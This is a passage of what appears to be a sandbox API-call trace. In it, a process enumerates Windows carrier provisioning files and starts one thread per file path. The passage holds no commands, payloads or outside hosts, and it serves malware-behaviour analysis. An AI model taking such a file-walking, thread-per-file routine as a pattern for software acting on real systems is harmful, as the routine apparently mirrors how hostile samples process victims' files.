cFileName="163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="163__C~1.PRO")) returned 1 [0085.951] wcscmp (_String1="163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0085.951] wcscmp (_String1="163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0085.951] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x128) returned 0x33f2308 [0085.951] wcscpy (in: _Dest=0x33f2308, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.951] wcscat (in: _Dest=0x33f2308, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.951] wcscat (in: _Dest=0x33f2308, _Source="163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0085.951] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f2308, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x450 [0085.952] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9064e061, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9064e061, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9064e061, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x0, dwReserved1=0x0, cFileName="164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml", cAlternateFileName="164__C~1.PRO")) returned 1 [0085.952] wcscmp (_String1="164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.952] wcscmp (_String1="164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.952] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x150) returned 0x34b7528 [0085.952] wcscpy (in: _Dest=0x34b7528, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.952] wcscat (in: _Dest=0x34b7528, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.952] wcscat (in: _Dest=0x34b7528, _Source="164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml" [0085.952] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34b7528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a4 [0085.953] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9064e061, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9064e061, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9064e061, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml", cAlternateFileName="165__C~1.PRO")) returned 1 [0085.953] wcscmp (_String1="165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.953] wcscmp (_String1="165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.953] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x144) returned 0x34b7120 [0085.953] wcscpy (in: _Dest=0x34b7120, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.953] wcscat (in: _Dest=0x34b7120, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.953] wcscat (in: _Dest=0x34b7120, _Source="165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml" [0085.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34b7120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x528 [0085.953] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9064e061, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9064e061, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9064e061, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0x0, dwReserved1=0x0, cFileName="166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml", cAlternateFileName="166__C~1.PRO")) returned 1 [0085.953] wcscmp (_String1="166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.954] wcscmp (_String1="166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.954] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x144) returned 0x34b7278 [0085.954] wcscpy (in: _Dest=0x34b7278, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.954] wcscat (in: _Dest=0x34b7278, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.954] wcscat (in: _Dest=0x34b7278, _Source="166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml" [0085.954] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34b7278, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x648 [0085.954] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906742d4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906742d4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906742d4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml", cAlternateFileName="167__C~1.PRO")) returned 1 [0085.954] wcscmp (_String1="167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.954] wcscmp (_String1="167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.954] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14e) returned 0x34b7680 [0085.954] wcscpy (in: _Dest=0x34b7680, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.955] wcscat (in: _Dest=0x34b7680, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.955] wcscat (in: _Dest=0x34b7680, _Source="167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml" [0085.955] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34b7680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc [0085.955] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906742d4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906742d4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906742d4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28b, dwReserved0=0x0, dwReserved1=0x0, cFileName="168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml", cAlternateFileName="168__C~1.PRO")) returned 1 [0085.955] wcscmp (_String1="168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.955] wcscmp (_String1="168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.955] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x142) returned 0x34b77d8 [0085.955] wcscpy (in: _Dest=0x34b77d8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.955] wcscat (in: _Dest=0x34b77d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.955] wcscat (in: _Dest=0x34b77d8, _Source="168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml" [0085.956] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34b77d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ec [0085.956] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906742d4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906742d4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906742d4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x0, dwReserved1=0x0, cFileName="169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml", cAlternateFileName="169__C~1.PRO")) returned 1 [0085.956] wcscmp (_String1="169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.956] wcscmp (_String1="169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.956] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x142) returned 0x34b7930 [0085.956] wcscpy (in: _Dest=0x34b7930, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.956] wcscat (in: _Dest=0x34b7930, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.956] wcscat (in: _Dest=0x34b7930, _Source="169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml" [0085.956] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34b7930, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x628 [0085.957] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9013ce1d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9013ce1d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9013ce1d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml", cAlternateFileName="16__CO~1.PRO")) returned 1 [0085.957] wcscmp (_String1="16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.957] wcscmp (_String1="16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.957] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x142) returned 0x33f9128 [0085.957] wcscpy (in: _Dest=0x33f9128, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.957] wcscat (in: _Dest=0x33f9128, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.957] wcscat (in: _Dest=0x33f9128, _Source="16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml" [0085.957] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f9128, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b0 [0085.958] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906742d4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906742d4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906742d4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2be, dwReserved0=0x0, dwReserved1=0x0, cFileName="170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml", cAlternateFileName="170__C~1.PRO")) returned 1 [0085.958] wcscmp (_String1="170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.958] wcscmp (_String1="170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.958] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x142) returned 0x33f8918 [0085.958] wcscpy (in: _Dest=0x33f8918, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.958] wcscat (in: _Dest=0x33f8918, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.958] wcscat (in: _Dest=0x33f8918, _Source="170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml" [0085.958] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f8918, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x72c [0085.959] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9069a53c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9069a53c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9069a53c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml", cAlternateFileName="171__C~1.PRO")) returned 1 [0085.959] wcscmp (_String1="171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.959] wcscmp (_String1="171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.959] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x142) returned 0x55d8f48 [0085.959] wcscpy (in: _Dest=0x55d8f48, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.959] wcscat (in: _Dest=0x55d8f48, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.959] wcscat (in: _Dest=0x55d8f48, _Source="171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml" [0085.959] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x55d8f48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e4 [0085.960] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9069a53c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9069a53c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9069a53c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x0, dwReserved1=0x0, cFileName="172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml", cAlternateFileName="172__C~1.PRO")) returned 1 [0085.960] wcscmp (_String1="172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.960] wcscmp (_String1="172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.960] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x140) returned 0x3477c38 [0085.960] wcscpy (in: _Dest=0x3477c38, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.960] wcscat (in: _Dest=0x3477c38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.960] wcscat (in: _Dest=0x3477c38, _Source="172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml" [0085.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3477c38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f4 [0085.961] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9069a53c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9069a53c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9069a53c, 